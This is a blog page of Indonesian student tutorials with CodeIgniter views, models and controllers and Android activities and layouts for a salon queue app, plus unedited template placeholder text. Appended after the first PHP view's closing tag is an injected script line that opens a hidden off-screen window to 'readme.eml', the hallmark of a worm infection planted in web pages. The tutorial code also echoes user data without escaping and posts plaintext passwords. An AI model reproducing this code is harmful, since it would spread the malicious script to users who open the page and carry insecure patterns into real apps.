This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

Selasa, 02 Januari 2018

Cara Membuat Perintah Server Side Untuk Aplikasi Anata Shalon & Skincare Berbasis Code Egniter

Dibawah ini cara-caranya :


1. Buat tampilan view

#Script halaman_operator.java
<!DOCTYPE html>

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <!--[if IE]>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <![endif]-->
    <title>Admin Natasha</title>
    <!-- BOOTSTRAP CORE STYLE  -->
    <link href="<?php echo base_url ();?>assets2/css/bootstrap.css" rel="stylesheet" />
    <!-- FONT AWESOME ICONS  -->
    <link href="<?php echo base_url ();?>assets2/css/font-awesome.css" rel="stylesheet" />
    <!-- CUSTOM STYLE  -->
    <link href="<?php echo base_url ();?>assets2/css/style.css" rel="stylesheet" />
     <!-- HTML5 Shiv and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->
</head>
<body>
    <header>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <strong>Nama Admin Natasha: <?php foreach ($tbl_user_oprt as $m) {
                                    echo $m->nama_operator; 
                                    $get=$m->praktek_dokter;
                                 
                                   } 
                                ?>
                    &nbsp;&nbsp;
                     </strong> <?php echo $get ?>
                </div>

            </div>
        </div>
    </header>
    <!-- HEADER END-->
    <div class="navbar navbar-inverse set-radius-zero">
        <div class="container">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a class="navbar-brand" href="index.html">

                    <img src="<?php echo base_url ();?>img/lg.png" width="250" height="100" alt="" />
                </a>

            </div>

            <div class="left-div">
                <div class="user-settings-wrapper">
                    <ul class="nav">

                        <li class="dropdown">
                            <a class="dropdown-toggle" data-toggle="dropdown" href="#" aria-expanded="false">
                                <span class="glyphicon glyphicon-user" style="font-size: 25px;"></span>
                            </a>
                            <div class="dropdown-menu dropdown-settings">
                                <div class="media">
                                    <a class="media-left" href="#">
                                        <img src="<?php echo base_url ();?>img/33.png" alt="" class="img-rounded" />
                                    </a>
                                    <div class="media-body">
                                       

                                    </div>
                                </div>
                                <hr />
                                <h5><strong>Nama Operator : </strong></h5>

                                <?php
                                foreach ($tbl_user_oprt as $m) {
                                    echo
                                    $m->nama_operator; 

                                 
                                   } 
                                ?>



                                <hr />
                                <a href="<?php echo base_url ();?>masuk_operator/logout" class="btn btn-danger btn-sm">Logout</a>

                            </div>
                        </li>


                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- LOGO HEADER END-->
   
    <!-- MENU SECTION END-->
   

           
         
           
                             
                    <hr />
                    <b> DAFTAR PELANGGAN </b> <br>
                   <center> <a href="<?php echo base_url();?>operator1/halaman_operator1"> <button class="btn btn-default"><i class=" fa fa-refresh "></i> Refresh</button>
                    </a> </center> <br>
                     <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
                                            <th>No</th>
                                            <th>Nama Lengkap</th>
                                            <th>Jenis Kelamin</th>
                                            <th>Umur</th>
                                            <th>Alamat </th>
                                            <th>Perawatan</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <?php
$nomor = 1;
foreach ($tbl_operator1 as $m) {
    echo"
    <tr>
    <td> $nomor  </td>
    <td> $m->nama </td>
    <td> $m->jenkel </td>
    <td> $m->umur </td>
    <td> $m->alamat </td>
    <td> $m->penyakit </td>
   
    <td>"
    ?>

    <form action="<?= site_url('antri/status_pasien1/'. $m->id)?>" method="post">
        <?php
            echo'
            <button type="submit" class="btn btn-warning" name="periksa" value="1">Sedang Perawatan</button>           
            <button type="submit" class="btn btn-danger" name="belum" value="2">Pelanggan Belum Datang</button>           
            <button type="submit" class="btn btn-success" name="selesai" value="3">Transaksi Selesai</button>
            '; 
            if ($m->status_pasien1 == '1') {
                echo 'Pelanggan Sedang Melakukan Perawatan';
            }elseif ($m->status_pasien1 == '2') {
                echo 'Pelanggan Belum Ada';
            }elseif ($m->status_pasien1 == '3') {
                echo "Perawatan Pelanggan Selesai";
            }else{
                echo ' ';
            }       
        ?>
    </form>
    </td>
    </td>
    </tr>
    <?php $nomor++;
 }
   
?>
                                </table>
                                </div>
                                 </tr>
                                    </tbody>
                                </table>
                                 </div>
                                </div>
               
                                    </div>
                                     </div>
                        </div>
                </div>
        </div>
    </div>
         <center><a href="<?= site_url('antri/selesai_pemeriksaan1')?>" class="btn btn-primary btn-lg" onclick="return confirm('Apakah Anda Yakin Menyelesaikan Pemeriksaan ?')"> Selesai Perawatan </a></center> <br>
    <!-- CONTENT-WRAPPER SECTION END-->
    <footer>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    &copy; 2017 Natasha Salon and Skincare </a>
                </div>

            </div>
        </div>
    </footer>
    <!-- FOOTER SECTION END-->
    <!-- JAVASCRIPT AT THE BOTTOM TO REDUCE THE LOADING TIME  -->
    <!-- CORE JQUERY SCRIPTS -->
    <script src="<?php echo base_url ();?>assets2/js/jquery-1.11.1.js"></script>
    <!-- BOOTSTRAP SCRIPTS  -->
    <script src="<?php echo base_url ();?>assets2/js/bootstrap.js"></script>
</body>
</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>



2. Buat modelnya
#Script M_operator.java

<?php
/**
*
*/
class M_operator1 extends MY_Model{

function __construct(){
parent::__construct();
parent::set_table('tbl_operator1','id');

}
}
?>


3. Controllernya

<?php

defined('BASEPATH') or exit('No direct script access allowed');

class Operator1 extends CI_Controller {

    function __construct() {
        parent::__construct();
        if ($this->session->userdata('level_operator_akses') <> 'operator1') {
            redirect('masuk_operator');
        }
    }

    function halaman_operator1() {

        $this->load->model('model_data');
        if ($this->session->userdata('session_user_operator') != null) {
            $get_data = $this->model_data->list_nama_operator($this->session->userdata('session_user_operator'))->result();
        }
       
        $data['tbl_user_oprt'] = $get_data;
        $data['tbl_operator1'] = $this->model_data->list_pendaftarn_oprt1()->result();
        $this->load->view('halaman_operator1', $data);
        // security login untuk user operator1 langsung di buat di dalam function ini tidak di buat di getsecurity karena akan terjadi error
        $username = $this->session->userdata('username');
        if (empty($username)) {
            $this->session->sess_destroy();
            redirect('masuk_operator');
        }
    }

}


Cara Membuat Server Side untuk Admin

Saya membuat server side bagian admin. Dibawah ini cara-caranya :

1. Buat view login.operator.php
Script :

<!DOCTYPE html>
<html >
<head>
  <meta charset="UTF-8">
  <title>Silahkan Login</title>
 
 

 
      <link rel="stylesheet" href="<?php echo base_url ();?>css/style2.css">

 
</head>

<body>


<form method="POST" action="<?php echo base_url ();?>masuk_operator/getlogin_operator"
onsubmit="return cekform();">


  <div class="container">
  <div class="login">
  <h1 class="login-heading">
      <strong>Selamat Datang Admin Natasha</strong</h1>
      <form method="post">
        <input type="text" name="username" placeholder="Username" required="required" class="input-txt" />
          <input type="password" name="password" placeholder="Password" required="required" class="input-txt" />
          <div class="login-footer">
             <a href="#" class="lnk">
              <img src="<?php echo base_url ();?>img/lg.png" width="150" height="60" alt="" />
            </a>
            <button type="submit" class="btn btn--right">MASUK  </button>
   
          </div>
      </form>

      <?php echo $this->session->flashdata('pesan');?>
     
  </div>
</div>
 
    <script src="<?php echo base_url ();?>js/index.js"></script>

</body>
</html>


2. Tampilan


3. Modelnya
security_login.php

<?php
class Security_login extends CI_Model {

//get secutiry untuk akses halaman admin
public function getsecurity()
{
$username = $this->session->userdata('username');
if(empty($username))
{
$this->session->sess_destroy();
redirect('masuk_admin');
}

}
}

4. Controller

<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Masuk_admin extends CI_Controller {

    public function index() {
        $this->load->view('v_login_admin');
    }

    public function getlogin() {
        $user = $this->input->post('username');
        $this->session->set_userdata('session_user_admin', $user);
        $u = $user;
        $p = $this->input->post('password');
        $this->load->model('model_data');
        $this->model_data->getlogin($u, $p);
    }

}



Langkah-Langkah Membuat History Tab Adapter - Praktikum Lanjutan Android

Pada hari ini saya akan menjelaskan step by step dari pembuatan history tab adapter

1. Buat class HistoryTabAdapter.java

package thefly.org.histori;


import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentPagerAdapter;

public class HistoryTabAdapter extends FragmentPagerAdapter{

final int PAGE_COUNT = 5;// Jumlah view atau tab. karna ada 5 dokter maka disini dengan 5

// konstruktor dari class
public HistoryTabAdapter(FragmentManager fm) {
super(fm);
}

//method ini akan di jalankan ketika ada permintaan untuk di buat
@Override
public Fragment getItem(int arg0) {

//panggil Histori antrian yang akan berisi konten2 atau list dokter
HistoryAntrian myFragment = new HistoryAntrian();
Bundle data = new Bundle();

// parameter yang dikirim adalah "current_page1" dst untuk menunjukkan tab ke 1 atau 2 dst
data.putInt("current_page", arg0+1);
myFragment.setArguments(data);
return myFragment;
}

@Override
public int getCount() {
return PAGE_COUNT;
}

@Override
public CharSequence getPageTitle(int position) {

// mentukan judul masing2 tab
switch (position) {
case 0:
return "Perawatan Wajah";
case 1:
return "Perawatan Tubuh";
case 2:
return "Perawatan Rambut";
case 3:
return "Yoga, Aerobik, Yoga, Zumba";
case 4:
return "Anata Product";
}
return null;
}
}


2. Buat tampilannya

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/RelativeLayout1"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" >

    <ListView
        android:id="@+id/listView"
        android:layout_width="fill_parent"
        android:layout_height="200dp"
        android:layout_alignParentBottom="true"
        android:layout_alignParentLeft="true"
        android:layout_alignParentTop="true" />

</RelativeLayout>



Cara Membuat History Antrian untuk Aplikasi Anata Salon - Praktikum Lanjutan

Dibawah ini langkah-langkahnya

1. Buat class History_Antrian.java
package thefly.org.histori;

import go_antri.org.R;

import java.util.ArrayList;
import java.util.List;

import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import thefly.org.CustomHttpClient;
import android.os.Bundle;
import android.os.StrictMode;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ListView;
import android.widget.Toast;

public class HistoryAntrian  extends Fragment {

// inisialisasi variabel
int mCurrentPage;

//keperluan adapter untuk mengisi data dari masing2 list
private List<ModelHistory> listData = new ArrayList<ModelHistory>();
private HistoryAntrianListAdapter adapter;
HistoryAntrianListAdapter custum = new HistoryAntrianListAdapter(null, listData);
ListView listView;

//private ProgressDialog pDialog;


@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);



//mengambil argument dari project Bundle
Bundle data = getArguments();

//ambil nilai INTEGER dari current page yang berasar dar bundle
mCurrentPage = data.getInt("current_page", 0);

}

@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.history_layout_fragment, container,false);
setHasOptionsMenu(true);

// set value2
listView = (ListView) v.findViewById(R.id.listView);
adapter = new HistoryAntrianListAdapter(getActivity(), listData);
listView.setAdapter(adapter);

// load data hstori berdasasrkan page.
//jadi jika jika mCurrentPage =1 maka data yang akan di ambil adalah dokter 1 dan seterusnya
loadDataHistori(mCurrentPage);

   System.out.println("mCurrentPage "+mCurrentPage);

return v;
}


private void loadDataHistori(int currentPage){

ArrayList<NameValuePair> postParameters = new ArrayList<NameValuePair>();

// kirim parameter dengan key tipeDokter dengan value =DOKTER_1 atau seterusnya
        postParameters.add(new BasicNameValuePair("tipeDokter","DOKTER_"+String.valueOf(currentPage)));
        System.out.println("postParameters "+postParameters);
       
        String response = "";
        listData.clear();
       
        try {
           response = CustomHttpClient.executeHttpPost(CustomHttpClient.URL+"get_data_history_antrian.php", postParameters);
           System.out.println("response "+response);
            if(response.equals("nodata")){
            //hidePDialog();
            Toast.makeText(getActivity(), "Tidak Ada Data Histori Pelanggan Anata Saloon n Skincare", Toast.LENGTH_LONG).show();
}else{


try {
// define JSON objec
JSONObject jsonObyek = new JSONObject(response);
//ambil object "data" dan data di konversi menjadi JSONarray
JSONArray jsonArray = jsonObyek.getJSONArray("data");

int no=1;
for (int i = 0; i < jsonArray.length(); i++) {
JSONObject obj =jsonArray.getJSONObject(i);

// define object baru dari ModelHistory.
// jadi jika ada 2 data maka data yang masuk ke model adalah 2 data
ModelHistory mdHistori = new ModelHistory();

// ambil data berdasarkan respon dari format JSON
mdHistori.setNamaPasien(obj.getString("nama_pasien"));
mdHistori.setNamaUser(obj.getString("nama_user"));
mdHistori.setStatusPasien(obj.getString("sts")); 
mdHistori.setNo(String.valueOf(no));

// tambahkan model tersebut ke variabel listData
  listData.add(mdHistori);
no++;


}


} catch (JSONException e) {
e.printStackTrace();
//hidePDialog();
}

adapter.notifyDataSetChanged();
}
         
         
         
        }
       
        catch (Exception e) {
         
        System.out.println("Exception "+e.toString());
         
        }
       
}


@Override
public void onDestroy() {
super.onDestroy();
//hidePDialog();
}

// private void hidePDialog() {
// if (pDialog != null) {
// pDialog.dismiss();
// pDialog = null;
// }
// }



}


2. Buat tampilannya

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout android:id="@+id/main"
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_height="fill_parent"
    android:layout_width="fill_parent">
    <!-- Bagian atas yg ungu yah-->
    <LinearLayout android:id="@+id/bagian_atas"
        android:background="#C71585"
        android:layout_height="wrap_content"
        android:layout_width="fill_parent"
        >
        <TextView android:id="@+id/kotak1"
            android:layout_height="fill_parent"
            android:layout_width="wrap_content"
            android:text="No  "
            android:width="20dip"
            android:height="30dip"
        />
        <TextView android:id="@+id/kotak2"
            android:layout_height="fill_parent"
            android:layout_width="wrap_content"
            android:layout_marginLeft="10dip"
            android:text="Nama Lengkap"
            android:width="100dip"
            android:height="30dip"
        />
        <TextView android:id="@+id/kotak3"
            android:layout_height="fill_parent"
            android:layout_width="wrap_content"
            android:text="Jenis Kelamin"
            android:width="100dip"
            android:height="30dip"
        />
        <TextView android:id="@+id/kotak4"
            android:layout_height="fill_parent"
            android:layout_width="wrap_content"
            android:text="Status Pelanggan"
            android:width="100dip"
            android:height="30dip"
        />
    </LinearLayout>

    <!-- untuk garis perantara -->
    <View android:layout_width="fill_parent"
        android:layout_height="1dip"
        android:background="?android:attr/listDivider" />

    <!-- untuk tiap cell(kotak) -->
    <LinearLayout android:id="@+id/tampilan_nya"
        android:layout_width="wrap_content"
        android:layout_height="fill_parent">
        <ListView android:id="@+id/warna_tampilan_nya"
            android:layout_height="fill_parent"
            android:layout_width="fill_parent">
        </ListView>
    </LinearLayout>
</LinearLayout>


Tutorial Membuat History Untuk Aplikasi Anata Salon - Praktikum Lanjutan

Halo guys, saya akan menjelaskan cara-cara membuat history untuk Aplikasi Anata Salon

1. Buat class


2. Script HistoriFragmentActivity.java

package thefly.org.histori;

import go_antri.org.R;
import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentManager;
import android.support.v4.view.ViewPager;
import android.view.Menu;

public class HistoriFragmentActivity extends FragmentActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.histori_fragment); //Layout dari form untuk fragment
 
//inisialisi
        ViewPager pager = (ViewPager) findViewById(R.id.pager);
        
        //ambil framnet manager
        FragmentManager fm = getSupportFragmentManager();
        
        //inisalisasi histori tab adapter
        HistoryTabAdapter pagerAdapter = new HistoryTabAdapter(fm);
        
        /** Setting the pagerAdapter to the pager object */
        pager.setAdapter(pagerAdapter);
        
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        //getMenuInflater().inflate(R..activity_main, menu);
        return true;
    }
    
}


3. Buat tampilannya di folder layout histori_fragment.xml

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent" >

<android.support.v4.view.ViewPager
    android:id="@+id/pager"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
>
<android.support.v4.view.PagerTabStrip
        android:id="@+id/pager_tab_strip"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_gravity="top"
        android:paddingTop="10dp"
        android:paddingBottom="10dp"
        android:background="#ff007f"
        android:textColor="@android:color/black"
         />
</android.support.v4.view.ViewPager>

</RelativeLayout>




Cara Membuat Form Input Untuk Perawatan Berbasis Android

Pada laporan kali ini saya akan menjelaskan cara-cara membuat form input untuk setiap perawatan berbasis Android :

1. Buat class pendaftaran_operator.java
package thefly.org;

import go_antri.org.R;

import java.util.ArrayList;

import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONArray;
import org.json.JSONObject;

import thefly.org.histori.HistoriFragmentActivity;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.StrictMode;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioGroup;
import android.widget.TextView;


public class pendaftaran_operator1 extends Activity {
 
EditText nama,umur,alamat,penyakit;
RadioGroup jk;
TextView status, tampilkan;
Button daftar;
     
    /** Called when the activity is first created. */
    @Override
     
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.pendaftaran_operator1);
       
        if (android.os.Build.VERSION.SDK_INT > 9) {
            StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
            StrictMode.setThreadPolicy(policy);
      }
       
        nama=(EditText)findViewById(R.id.txtnamapasien1);
        jk=(RadioGroup) findViewById(R.id.jekel_operator1);
        umur=(EditText)findViewById(R.id.textumur);
        alamat=(EditText)findViewById(R.id.textalamat);
        penyakit=(EditText)findViewById(R.id.textkeluhan);
        tampilkan = (TextView) findViewById(R.id.tampilkan);
        daftar=(Button)findViewById(R.id.btn_ambil_antri_operator1);
        status=(TextView)findViewById(R.id.status_operator1);
        getJumlahData();
       
        daftar.setOnClickListener(new View.OnClickListener() {
       
         @Override
         public void onClick(View v) {
           
            // TODO Auto-generated method stub
       
        //atur variabel utk menampung pilihan jenis kelamin dalam bentk radio button
        String type = "";
        switch (jk.getCheckedRadioButtonId()) {
        case R.id.pria_operator1:
        type="1";
        break;
        case R.id.perempuan_operator1:
        type="2";
        break;
        }
             
           
            ArrayList<NameValuePair> postParameters = new ArrayList<NameValuePair>();
            postParameters.add(new BasicNameValuePair("nama", nama.getText().toString()));
            postParameters.add(new BasicNameValuePair("jenkel", type));
            postParameters.add(new BasicNameValuePair("umur", umur.getText().toString()));
            postParameters.add(new BasicNameValuePair("alamat", alamat.getText().toString()));
            postParameters.add(new BasicNameValuePair("penyakit", penyakit.getText().toString()));
           
/*            String valid = "1";*/     
           
            String response = null;
           
            try {
             
               response = CustomHttpClient.executeHttpPost(CustomHttpClient.URL+"ambil_no_operator1.php", postParameters);
             
               String res = response.toString();
             
               res = res.trim();
             
               res = res.replaceAll("\\s+","");
status.setText(res);
             
               if (res.equals("1")){
               status.setText("Registrasi Operator Perawatan Wajah !!");
               }
               else{
               status.setText("Registrasi Untuk Melakukan Perawatan Wajah Berhasil !! Silahkan Cek Historis");
               getJumlahData();
               }
             
            }
           
            catch (Exception e) {
             
               nama.setText(e.toString());
             
            }
             
         }
           
           
      });
    }
   
    private void getJumlahData(){
    try {
String count = CustomHttpClient.executeHttpGet(CustomHttpClient.URL+"get_data1.php");
JSONObject dataObject = new JSONObject(count);
JSONArray dataArray = new JSONArray(dataObject.getString("data"));
tampilkan.setText("Jumlah Pendaftar saat ini :  "+ dataArray.length());
} catch (Exception e) {
Log.e("Count Error", e.getMessage());
}
    }
 
    public void btn_ambil_antri_operator1_Clicked(View v) {
Intent panggil_class = new Intent(this, list_dokter.class);
startActivity(panggil_class);

    }
   
    public void btn_kembali_antri_operator1_Clicked(View v) {
Intent panggil_class = new Intent(this, HistoriFragmentActivity.class);
startActivity(panggil_class);

    }
}


2. Buat xmlnya

<?xml version="1.0" encoding="UTF-8"?>
<ScrollView
  xmlns:android="http://schemas.android.com/apk/res/android"
  android:layout_width="fill_parent"
  android:layout_height="fill_parent"
  android:fillViewport="true">
  <RelativeLayout
        android:layout_width="fill_parent"
        android:layout_height="wrap_content" android:background="#fff">
 
        <!--  Header  Starts-->
        <LinearLayout android:id="@+id/header"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:background="@layout/header_gradient"
                android:paddingTop="5dip"
                android:paddingBottom="5dip">
                <!-- Logo Start-->
                <ImageView android:src="@drawable/user"
                            android:layout_width="wrap_content"
                            android:layout_height="wrap_content"
                            android:layout_marginLeft="10dip"/>
                <!-- Logo Ends -->
        </LinearLayout>
        <!--  Header Ends -->
        <!-- Footer Start -->
        <LinearLayout 
                android:layout_width="fill_parent"
                android:layout_height="90dip"
                android:background="@layout/footer_repeat"
                android:layout_alignParentBottom="true">
        </LinearLayout>
        <!-- Footer Ends -->
 
        <!-- Registration Form -->
        <LinearLayout
          
          android:orientation="vertical"
          android:layout_width="match_parent"
          android:layout_height="wrap_content"
          android:padding="10dip"
          android:layout_below="@id/header">
                
            <TextView 
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="10dip"
                android:layout_marginBottom="1dip"
                android:src="@drawable/user"
                android:text="[Perawatan Wajah]  "
                android:gravity="center"
                android:textSize="20dip"
                android:textColor="#0f4b49"/>
            
            
             
             <TextView 
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="10dip"
                android:layout_marginBottom="1dip"
                android:src="@drawable/user"
                android:text="Open : Setiap Hari"
                android:gravity="center"
                android:textSize="20dip"
                android:textColor="#0f4b49"/>
             
             <TextView 
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="0dip"
                android:layout_marginBottom="1dip"
                android:src="@drawable/user"
                android:text="Waktu Buka : 09:00 WITA - 22:00 WITA"
                android:gravity="center"
                android:textSize="17dip"
                android:textColor="#0f4b49"/>
             
             <TextView 
                 android:id="@+id/tampilkan"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="10dip"
                android:layout_marginBottom="20dip"
                android:src="@drawable/user"
                android:text="Jumlah Pelanggan di ruang spes wajah saat ini :  "
                android:gravity="center"
                android:textSize="16dip"
                android:textColor="#0f4b49"/>
             <TextView 
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="10dip"
                android:layout_marginBottom="40dip"
                android:text="Isikan identitas Diri Anda dengan benar"
                android:gravity="center"
                android:textSize="20dip"
                android:textColor="#0f4b49"/>
          <!-- Full Name Label -->
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Nama Lengkap"/>
          <EditText android:id="@+id/txtnamapasien1"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          <RadioGroup
android:id="@+id/jekel_operator1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal">
          <RadioButton
android:id="@+id/pria_operator1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Pria" />

<RadioButton
android:id="@+id/perempuan_operator1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Perempuan" />
</RadioGroup>
          <!--  Username Label -->
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Umur"/>
          <EditText android:id="@+id/textumur"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Alamat"/>
          <EditText android:id="@+id/textalamat"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Jenis Perawatan Wajah"/>
          <EditText android:id="@+id/textkeluhan"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          <TextView
android:id="@+id/status_operator1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
          
          
          <!-- Register  -->
          <Button
        android:id="@+id/btn_ambil_antri_operator1"
        style="@style/btnStyleSeagull"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="21dp"
        android:onClick="btn_ambil_antri_operator1_Clicked"
        android:text="DAFTAR"
        android:textColor="#fff" />
        
        <Button
        android:id="@+id/btn_kembali_antri_operator1"
        style="@style/btnStyleSeagull"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="21dp"
        android:onClick="btn_kembali_antri_operator1_Clicked"
        android:text="CEK HISTORY"
        android:textColor="#fff" />  
          
          <!-- Link to Login Screen -->
           
 
        </LinearLayout>
        <!-- Registration Form Ends -->
  </RelativeLayout>
 </ScrollView>

 
 

Tutorial Membuat Tampilan Registrasi Untuk Praktikum Lanjutan Anata Salon Basis Android

Dibawah ini langkah-langkahnya :

1. Buat class pendaftaran_user.java

2. Scriptn pendaftaran_user.java

package thefly.org;

import go_antri.org.R;

import java.util.ArrayList;

import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;

import android.app.Activity;
import android.app.DatePickerDialog;
import android.app.DatePickerDialog.OnDateSetListener;
import android.content.Intent;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.View;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.EditText;
import android.widget.RadioGroup;
import android.widget.TextView;
import android.widget.Toast;




public class pendaftaran_user extends Activity {
    public DatePickerDialog myDialog;
 
    EditText nama,ttl,alamat,email,pekerjaan,username,password;
    RadioGroup jk;
    TextView status;
    Button daftar;;
     
    /** Called when the activity is first created. */
    @Override
     
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.pendaftaran_user);
       
       
       
       
        nama=(EditText)findViewById(R.id.txtnama);
        jk=(RadioGroup) findViewById(R.id.jekel);
        alamat=(EditText)findViewById(R.id.txtalamat);
        email=(EditText)findViewById(R.id.txtemail);
        pekerjaan=(EditText)findViewById(R.id.txtpekerjaan);
        username=(EditText)findViewById(R.id.textusername2);
        password=(EditText)findViewById(R.id.textpassword2);
       
       
        daftar=(Button)findViewById(R.id.btn_daftar);
        status=(TextView)findViewById(R.id.txtstatus2);
        daftar.setOnClickListener(new View.OnClickListener() {
       
         @Override
       
         public void onClick(View v) {
           
            // TODO Auto-generated method stub
           
            //atur variabel utk menampung pilihan jenis kelamin dalam bentk radio button
             String type=null;
             switch (jk.getCheckedRadioButtonId()) {
             case R.id.pria:
             type="1";
             break;
             case R.id.perempuan:
             type="2";
             break;
             }
                   
           
            ArrayList<NameValuePair> postParameters = new ArrayList<NameValuePair>();
            postParameters.add(new BasicNameValuePair("nama", nama.getText().toString()));
            postParameters.add(new BasicNameValuePair("ttl", type));
            postParameters.add(new BasicNameValuePair("jk", type));
            postParameters.add(new BasicNameValuePair("alamat", alamat.getText().toString()));
            postParameters.add(new BasicNameValuePair("email", email.getText().toString()));
            postParameters.add(new BasicNameValuePair("pekerjaan", pekerjaan.getText().toString()));
            postParameters.add(new BasicNameValuePair("username", username.getText().toString()));
            postParameters.add(new BasicNameValuePair("password", password.getText().toString()));
           
/*            String valid = "1";*/     
           
            String response = null;
           
            try {
             
                 response = CustomHttpClient.executeHttpPost(CustomHttpClient.URL+"pendaftaran_user.php", postParameters);
             
               String res = response.toString();
             
               res = res.trim();
             
               res = res.replaceAll("\\s+","");
status.setText(res);
             
               if (res.equals("1")) status.setText("Registrasi Gagal !!");
             
               else status.setText("Registrasi Berhasil !! Silahkan Login");
             
            }
           
            catch (Exception e) {
             
               nama.setText(e.toString());
             
            }
             
         }
           
           
      });
    }
 
    public void btn_daftar_Clicked(View v) {
        Intent panggil_class = new Intent(this, Login.class);
        startActivity(panggil_class);
    }
   public void btn_login_ulang_Clicked(View v) {
        Intent panggil_class = new Intent(this, Login.class);
        startActivity(panggil_class);
    }
}


